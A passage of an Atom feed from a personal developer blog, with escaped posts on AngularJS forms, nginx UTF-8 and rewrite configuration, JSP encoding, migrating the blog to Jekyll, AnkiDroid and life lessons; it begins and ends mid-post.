&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;firstName&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;firstName&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ng-model&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;firstName&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ng-required&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;lastName&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;lastName&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;lastName&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ng-model&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;lastName&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Submit&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;form&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Give them a name&lt;/h2&gt;
&lt;p&gt;Every input field should have a &lt;code&gt;name&lt;/code&gt; attribute. Otherwise you won&#39;t know which
input holds which value once submitted to your backend. Even if you&#39;re not
submitting the form in the usual web 1.0 way but using
fancy-ajaxy-asynchronous-SPA mechanisms, you&#39;re still basically sending a list
of key/value to your backend.&lt;/p&gt;
&lt;h2&gt;Adding some validation&lt;/h2&gt;
&lt;p&gt;Let&#39;s say I need the &lt;code&gt;firstName&lt;/code&gt; to be required. Good thing I&#39;m using Angular, I
only have to add the &lt;code&gt;ng-required&lt;/code&gt; attribute and I&#39;m done.&lt;/p&gt;
&lt;p&gt;Well... not quite. You&#39;ll also have to add a &lt;code&gt;novalidate&lt;/code&gt; to the parent &lt;code&gt;form&lt;/code&gt;
otherwise the browser default validation mechanism might interfere.&lt;/p&gt;
&lt;p&gt;You&#39;ll also need to add a &lt;code&gt;name&lt;/code&gt; to the &lt;code&gt;form&lt;/code&gt;. And make sure that neither the
form &lt;code&gt;name&lt;/code&gt; nor the input &lt;code&gt;name&lt;/code&gt; include any dash (&lt;code&gt;-&lt;/code&gt;), otherwise it might
silently fail.&lt;/p&gt;
&lt;h2&gt;So what about accessibility?&lt;/h2&gt;
&lt;p&gt;For accessibility reasons, you have to bind your labels to the corresponding
&lt;code&gt;input&lt;/code&gt; elements. For &lt;code&gt;radio&lt;/code&gt; and &lt;code&gt;checkbox&lt;/code&gt; element you can get away with
wrapping the actual &lt;code&gt;input&lt;/code&gt; inside the &lt;code&gt;label&lt;/code&gt;, but for text element the &lt;code&gt;for&lt;/code&gt;
attribute on the &lt;code&gt;label&lt;/code&gt; must be used.&lt;/p&gt;
&lt;p&gt;The value of the &lt;code&gt;for&lt;/code&gt; on the label must be equal to the value of the &lt;code&gt;id&lt;/code&gt; on
the input. That&#39;s too bad we have to use an &lt;code&gt;id&lt;/code&gt;, it would have been so much
easier if we could simply reuse the &lt;code&gt;name&lt;/code&gt; field. But no, let&#39;s repeat ourselves
and add an &lt;code&gt;id&lt;/code&gt; field.&lt;/p&gt;
&lt;h2&gt;How do I access my data?&lt;/h2&gt;
&lt;p&gt;Now that you have a form and Angular, you&#39;ll want to access the data right ?
There are two ways you can access data from your form in your Controller.&lt;/p&gt;
&lt;p&gt;If you give a name to a form, you can access it in the scope simply by
referencing it by name. In our example, you now have access to
&lt;code&gt;$scope.subscription&lt;/code&gt; on the Controller. I don&#39;t really like Angular defining
objects in my &lt;code&gt;$scope&lt;/code&gt; from something defined in the view. It might overwrite
another object with the same name I defined in my controller.&lt;/p&gt;
&lt;p&gt;Anyway, you can then access informations about the form from this object. It
contains keys for each input fields (using their &lt;code&gt;name&lt;/code&gt; attribute), which in
turn holds informations about their validation (&lt;code&gt;$valid&lt;/code&gt;, &lt;code&gt;$invalid&lt;/code&gt;, &lt;code&gt;$dirty&lt;/code&gt;,
&lt;code&gt;$pristine&lt;/code&gt;) and the value it holds (&lt;code&gt;$modelValue&lt;/code&gt; and &lt;code&gt;$viewValue&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I don&#39;t really like tapping into this object either as it seems too low level
into Angular own plumbing system.&lt;/p&gt;
&lt;p&gt;The other way, the recommended one, is to manually define with which value each
input is bound, using the &lt;code&gt;ng-model&lt;/code&gt; attribute. You&#39;ll usually re-use the same
name you already used for &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; (unless you want to be really
confusing).&lt;/p&gt;
&lt;h2&gt;Copy/Paste nightmare&lt;/h2&gt;
&lt;p&gt;As you&#39;ve seen, this absolutely does not follow the DRY principle. Angular,
contrary to Ember, is not a Convention over Configuration framework, and we can
clearly see this weakness here.&lt;/p&gt;
&lt;p&gt;This gets worse when you have to add new fields to your form. You won&#39;t rewrite
them from scratch, so you&#39;ll use copy/paste and expose yourself to errors. If
you forgot to change one &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt; or &lt;code&gt;ng-model&lt;/code&gt; you might create weird bugs,
hard to find, because their root cause is inside your 300 lines long view file.&lt;/p&gt;
&lt;h2&gt;A solution?&lt;/h2&gt;
&lt;p&gt;I haven&#39;t found a satisfying solution to this problem as of today. The only one
I can think of could be a macro in your IDE to auto-generate input fields with
the right name written in &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;ng-model&lt;/code&gt;. But this is hardly a
portable solution. The other one would be to create a metadirective that
automatically adds the correct value in the correct attribute. But writing
directives that adds other directives is complex and I&#39;m not sure if it will not
simply hide the complexity away and make it even harder to debug.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Life important lessons</title>
    <link href="https://blog.pixelastic.com/2014/07/26/life-important-lessons/"/>
    <updated>2014-07-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/07/26/life-important-lessons</id>
    <content type="html">&lt;p&gt;I just came accross the last issue of Hacker Monthly. There was an article by
Derek Sivers, about the Meaning of Life. It is actually the
&lt;a href=&quot;http://sivers.org/ml&quot;&gt;transcript from a video&lt;/a&gt; of one of his talks. I highly
recommend you click that link and read the text.&lt;/p&gt;
&lt;p&gt;It made me realise that there are things that may seem obvious in retrospect,
but that we often forgot in the heat of the action of living. Here are a small
list of those that resonate with me.&lt;/p&gt;
&lt;p&gt;Be future focus. Try to do things to make life easier for the future you. Learn
new skills, put some money aside, prepare for when you&#39;ll be older and would
like things to be easy.&lt;/p&gt;
&lt;p&gt;Try to get in &amp;quot;the zone&amp;quot; as much as you can. We call &amp;quot;the zone&amp;quot; that moment when
you&#39;re focused on what you do and everything is nor too easy, nor too hard. You
have the feeling that everything goes well, you know what you&#39;re doing, you know
where you&#39;re heading, and you know why you&#39;re doing it. Avoid work that gets you
away from the zone, and look out for those that gets you in that state of mind.&lt;/p&gt;
&lt;p&gt;Remember that our brain has had billion of years to evolve. From bacterias to
fish, to monkeys, to us. The new parts of our brain, the one that differenciate
us from other animals are the one about prediction, language and logic. But the
old ones are all about fear, gut feeling and instinct. Our old brain has been
here forever, the new one is still in beta. Even a $5 machine can beat as at
Math. But no machine is yet able to have instinct or gut feeling. Trust the part
of your brain that has been in production since the dawn of time.&lt;/p&gt;
&lt;p&gt;Choose what is important over what is urgent. Important is learning new skills,
keeping in good shape, giving undistracted attention to the one you love. Urgent
are emails, text messages, tweets. It begs for being done right now, but won&#39;t
give you much after. Important things won&#39;t yield results in a forthnight, but
they will last forever.&lt;/p&gt;
&lt;p&gt;Change routine often. In a few years, when you&#39;ll look back at your past, you
won&#39;t remember the simple days. You&#39;ll remember the changes, the moment you took
important decisions. Changing job, moving away from you appartment, going
abroad. Change course often, change routine and break monotony. You&#39;ll have
more, better, memories.&lt;/p&gt;
&lt;p&gt;And don&#39;t let others tell you what your good or bad at. No-one is ever good at
anything the first time. You have to try, fail, work, practice and succeed. No
more &amp;quot;I&#39;m not good at math&amp;quot; or &amp;quot;I&#39;m naturally good at that&amp;quot;. Everything can be
learned given enough time and practice.&lt;/p&gt;
&lt;p&gt;This are all important lessons that one should not forget.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>UTF-8 encoding for nginx</title>
    <link href="https://blog.pixelastic.com/2014/07/20/utf-8-encoding-for-nginx/"/>
    <updated>2014-07-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/07/20/utf-8-encoding-for-nginx</id>
    <content type="html">&lt;p&gt;I just realised that my very own website wasn&#39;t correctly returning UTF-8 in its
&lt;code&gt;Content-Type&lt;/code&gt; response headers.&lt;/p&gt;
&lt;p&gt;As my new server is only one &lt;code&gt;ssh&lt;/code&gt; command away, I could easily log in and edit
my nginx config. I also added a security measure of not exposing the nginx
version I&#39;m using.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Set default encoding as utf-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;charset &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;utf-8;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Do not expose nginx version in headers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;server_tokens &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;off&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>AnkiDroid</title>
    <link href="https://blog.pixelastic.com/2014/07/09/ankidroid/"/>
    <updated>2014-07-09T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/07/09/ankidroid</id>
    <content type="html">&lt;p&gt;A &lt;a href=&quot;http://teabough.com/&quot;&gt;colleague of mine&lt;/a&gt;, which is as interested in life
hacking and getting more of the human brain as I am, showed me an Android
application named
&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.ichi2.anki&quot;&gt;AnkiDroid&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is technique to easily memorize list of things. The kind of thing you might
need to know by heart but never took the time to actually learn. Like countries
and capitals, the bones of the human body, HTTP codes, vim motions, anything.&lt;/p&gt;
&lt;p&gt;The idea is to present you each day with a list of 20 things to remember,
represented as cards. It will first show you the front of the card (a country
name for example), and you&#39;ll have to guess the matching capital. When you think
you know it, you can reveal the answer by flipping the card.&lt;/p&gt;
&lt;p&gt;You then press Yes or No, depending if you found the correct answer or not. You
then go to the next card. If you were wrong on a card, it will pop up again soon
in the deck. The more often you are wrong on a card, the more often it will pop
until you memorize it. On the other hand, if you were right, you won&#39;t be asked
this same card until tomorrow, and if you are still correct tomorrow, it will
wait 3 days before asking, then 7, a month, and so on and so on.&lt;/p&gt;
&lt;p&gt;Things you already know won&#39;t pollute the list of cards, but things you&#39;re not
totally sure about will come up regularly and you&#39;ll then remember it just by
the repetition of it.&lt;/p&gt;
&lt;p&gt;In the end it makes a very addictive game, and I learned a lot of things in no
time. I&#39;m doing about 20mn of it every morning, while commuting, and I&#39;m now
able to place on a map much more countries than before.&lt;/p&gt;
&lt;p&gt;You can even create your own decks easily, and learn whataver you want. I wish
an app like that existed when I was still studying, it would have made things
much much easier to remember.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Migrating to Jekyll</title>
    <link href="https://blog.pixelastic.com/2014/07/08/migrating-to-jekyll/"/>
    <updated>2014-07-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/07/08/migrating-to-jekyll</id>
    <content type="html">&lt;p&gt;You might have noticed that the skin of the website changed. Actually, I&#39;ve
updated pretty much every aspect of the stack underneath.&lt;/p&gt;
&lt;p&gt;This was a cakePHP blog, it is now a static site generated through
&lt;a href=&quot;http://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt;. This was a custom skin, this is now heavily
based on &lt;a href=&quot;https://github.com/poole/hyde&quot;&gt;Hyde&lt;/a&gt;. This was versioned using
Mercurial, and is now using Git (and the
&lt;a href=&quot;https://github.com/pixelastic/blog.pixelastic.com&quot;&gt;source code is available on GitHub)&lt;/a&gt;.
And finally, it was hosted on a shared host on Dreamhost and is now served by a
private &lt;a href=&quot;https://www.kimsufi.com/&quot;&gt;ks-3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No more mysql database for the posts, everything is now simple markdown files.
This is much more easier to commit and backup, and it is also much more easier
for me to write posts, as I only need a text editor.&lt;/p&gt;
&lt;p&gt;I had to create an nginx config file to handle all the redirects from the
previous urls. At first I thought of hosting it on GitHub Pages, but as my
Jekyll install is quite personalized (tags, archives, etc) I needed more
flexibility, so in the end I build the website locally and rsync the output to
the server.&lt;/p&gt;
&lt;p&gt;One of the main features missing from this new version is the ability to leave
comments. I&#39;m working on it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>UTF-8 encoding for included .jsp files</title>
    <link href="https://blog.pixelastic.com/2014/01/07/utf-8-encoding-included-jsp-files/"/>
    <updated>2014-01-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/01/07/utf-8-encoding-included-jsp-files</id>
    <content type="html">&lt;p&gt;Today I had to split a gigantic &lt;code&gt;.jsp&lt;/code&gt; file into several smaller files. I used
the &lt;code&gt;&amp;lt;@include file=&amp;quot;./path/to/file.jsp&amp;quot;&amp;gt;&lt;/code&gt; syntax in order to do this.&lt;/p&gt;
&lt;p&gt;Unfortunatly, all the included files were displayed with garbage instead of
UTF-8 characters.&lt;/p&gt;
&lt;p&gt;So I ran the list of usual suspects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Content-Type:text/html; charset=utf-8&lt;/code&gt; is correctly returned by my server.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;&lt;/code&gt; is the first element of my &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No data is being fetched from a database, so it cannot come from there.&lt;/li&gt;
&lt;li&gt;All my files are correctly encoded in UTF-8.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Also, I added a
&lt;code&gt;&amp;lt;%@ page contentType=&amp;quot;text/html; charset=UTF-8&amp;quot; pageEncoding=&amp;quot;UTF-8&amp;quot;%&amp;gt;&lt;/code&gt; as the
very first line of my main &lt;code&gt;index.jsp&lt;/code&gt;. I also added the following code to
&lt;code&gt;pom.xml&lt;/code&gt; to make &lt;code&gt;UTF-8&lt;/code&gt; the default encoding: [...] UTF-8&lt;/p&gt;
&lt;p&gt;Any &lt;code&gt;UTF-8&lt;/code&gt; in the main &lt;code&gt;index.jsp&lt;/code&gt; was fine, but as soon as it was in an
included page it was displayed as garbaged. At first, I manually added
&lt;code&gt;&amp;lt;%@ page pageEncoding=&amp;quot;UTF-8&amp;quot;%&amp;gt;&lt;/code&gt; to every included page and it fixed the issue.
But as I was dealing with dozen of included files, I needed a more generic
solution.&lt;/p&gt;
&lt;p&gt;Turns out that I had to edit my &lt;code&gt;web.xml&lt;/code&gt; file and add the following
configuration:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;jsp-config&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;jsp-property-group&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;url-pattern&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;*.jsp&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;url-pattern&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;page-encoding&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;UTF-8&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;page-encoding&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;jsp-property-group&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;jsp-config&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And it worked!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Understanding nginx location blocks and rewrite rules</title>
    <link href="https://blog.pixelastic.com/2013/09/27/understanding-nginx-location-blocks-rewrite-rules/"/>
    <updated>2013-09-27T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/09/27/understanding-nginx-location-blocks-rewrite-rules</id>
    <content type="html">&lt;p&gt;I recently moved a cakePHP website from an Apache server to an Nginx one. I had
to translate url rewriting rules from one syntax to the other, and here is what
I learned.&lt;/p&gt;
&lt;p&gt;First of all, Nginx internal logic for processing rewrite rules is not as
straightforward as Apache. In Apache, rules are processed in the order in which
they appear in your config file/&lt;code&gt;.htaccess&lt;/code&gt;. In Nginx, they follow a more
complex pattern.&lt;/p&gt;
&lt;h2&gt;Initial Apache rules&lt;/h2&gt;
&lt;p&gt;First of all, here are the (simplified) set of rules I had to convert:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteRule&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ^(css|js)/packed_(.*)$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; $1/packed/$2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [L]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteRule&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ^files/([0-9]{4})/([0-9]{2})/([0-9]{2})/([[:alnum:]]{8}-[[:alnum:]]{4}-[[:alnum:]]{4}-[[:alnum:]]{4}-[[:alnum:]]{12})/(.*)&#92;.(.{3,4})&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /files/$1/$2/$3/$4.$6&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [L]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{REQUEST_FILENAME}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; !-d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteCond&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; %{REQUEST_FILENAME}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; !-f&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;RewriteRule&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ^(.*)$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; index.php?url=$1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [QSA,L]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first rule deals with compressed &lt;code&gt;css&lt;/code&gt; and &lt;code&gt;js&lt;/code&gt; files. Minified &lt;code&gt;css&lt;/code&gt; and
&lt;code&gt;js&lt;/code&gt; files are saved in &lt;code&gt;/css/packed/&lt;/code&gt; with a filename made of a md5 hash of the
original filenames and a timestamp. So a url of
&lt;code&gt;/css/packed_6e4f31ffc48b6_1330851887.css&lt;/code&gt; will actually return the file located
in &lt;code&gt;/css/packed/6e4f31ffc48b6_1330851887.css&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The second rule is about media files uploaded on the server. Each uploaded file
is stored in the &lt;code&gt;/files/&lt;/code&gt; directory, in a subfolder made from the uploading
date (like &lt;code&gt;/files/2012/08/25/&lt;/code&gt;). The actual file is given a UUID when saved,
and this UUID is used as its filename on disk. The rewrite rule allow the use of
any custom filename when linking the file. This helps for SEO purposes as well
as making it more user-friendly when we present a download to our users. So
&lt;code&gt;/files/2012/08/25/50483446-4b00-4d5b-8498-763e45a3e447/Subscription_form.pdf&lt;/code&gt;
actually returns the file at
&lt;code&gt;/files/2012/09/06/50483446-4b00-4d5b-8498-763e45a3e447.pdf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And the last rule is the default cakePHP rewrite rule. It first checks if the
requested url points to an existing directory or file, and if not dispatch it to
the main entry point: &lt;code&gt;index.php&lt;/code&gt; with the requested url as a parameter.&lt;/p&gt;
&lt;h2&gt;Converting it to Nginx&lt;/h2&gt;
&lt;p&gt;Rewrite rules in Nginx are usually found in &lt;code&gt;location&lt;/code&gt; blocks. There are several
ways you can define a &lt;code&gt;location&lt;/code&gt; block, and it affects the order in which the
rules will be parsed.&lt;/p&gt;
&lt;p&gt;Nginx first checks for &lt;code&gt;location =&lt;/code&gt; blocks. Those blocks are used to catch an
exact match of the requested url. Once such a block is found, its content is
applied, and Nginx stops looking for more matches.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;location&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /my-exact-file.html &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  rewrite&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; /my-exact-file.html http://external-website.com/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, a request for &lt;code&gt;/my-exact-file.html&lt;/code&gt; will be redirected to
&lt;code&gt;http://external-website.com.&lt;/code&gt; Note that you need to repeat the url in both the
&lt;code&gt;location =&lt;/code&gt; block and the &lt;code&gt;rewrite&lt;/code&gt; rule.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;location =&lt;/code&gt; is of very limited use as it only accepts an exact match on a
string. Much more useful are the &lt;code&gt;location ~&lt;/code&gt; blocks that performs matches on
regex (and the &lt;code&gt;location ~*&lt;/code&gt; for a case-insensitive version).&lt;/p&gt;
&lt;p&gt;Such blocks are tested after the &lt;code&gt;location =&lt;/code&gt; ones, in the order they appear in
your configuration file. Once a block matches, Nginx applies its content but
does not stop. It keeps looking for other blocks that might match and apply
them. It&#39;s up to you, in the block content, to define if the parsing should
stop, using the &lt;code&gt;break&lt;/code&gt; command.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;location&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ~&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /(css|js)/packed_ &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
